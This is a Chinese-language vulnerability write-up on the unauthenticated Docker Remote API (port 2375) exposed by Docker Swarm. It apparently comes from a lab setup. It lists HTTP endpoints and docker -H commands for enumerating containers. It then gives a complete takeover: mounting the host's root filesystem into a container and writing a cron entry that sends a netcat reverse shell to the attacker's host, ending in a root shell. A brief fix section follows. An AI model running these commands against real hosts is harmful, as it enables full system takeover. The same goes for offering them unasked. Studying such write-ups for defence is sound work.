服务简介
docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展。
产生原因
在使用docker swarm的时候,会在docker节点上开放2375端口,并绑定在0.0.0.0上,端口中存在
Docker Remote API的服务。可以通过HTTP调用。
漏洞利用
访问http://192.168.83.99:2375/version查看版本
http://192.168.83.99:2375/v1.37/containers/json 列出容器信息
http://192.168.83.99:2375/images/json 列出 images 列表

命令行获取信息:
#获取镜像信息 root@kali:~# docker -H tcp://192.168.83.99:2375 images REPOSITORY TAG IMAGE ID CREATED SIZE alpine latest a24bb4013296 6 weeks ago 5.57MB #启动docker容器 root@kali:~# docker -H tcp://192.168.83.99:2375 run a24bb4013296 #获取容器信息 root@kali:~# docker -H tcp://192.168.83.99:2375 ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 6238de5146c8 a24bb4013296 "/bin/sh" About a minute ago Exited (0) About a minute ago wonderful_booth #关闭容器 root@kali:~# docker -H tcp://192.168.83.99:2375 stop 6238de5146c8 6238de5146c8
利用方法:
#随意启动一个容器,并将宿主机的 / 目录挂载到容器的 /mnt目录,这样就可以操作宿主机中的文件了 docker -H tcp://192.168.83.99:2375 run -it -v /:/mnt a24bb4013296 /bin/sh #攻击机监听 root@kali:~# nc -lvvp 6666 listening on [any] 6666 ... #写入计划任务,反弹shell,容器中有nc环境,直接使用nc echo "* * * * * /usr/bin/nc 192.168.83.100 6666 -e /bin/sh" >> /mnt/etc/crontabs/root #反弹shell root@kali:~# nc -lvvp 6666 listening on [any] 6666 ... 192.168.83.99: inverse host lookup failed: Unknown host connect to [192.168.83.100] from (UNKNOWN) [192.168.83.99] 35477 whoami root
修复方法
1)配置acl,Docker Remote API不要绑定到0.0.0.0。
2)修改docker swarm的认证方式,使用TLS认证。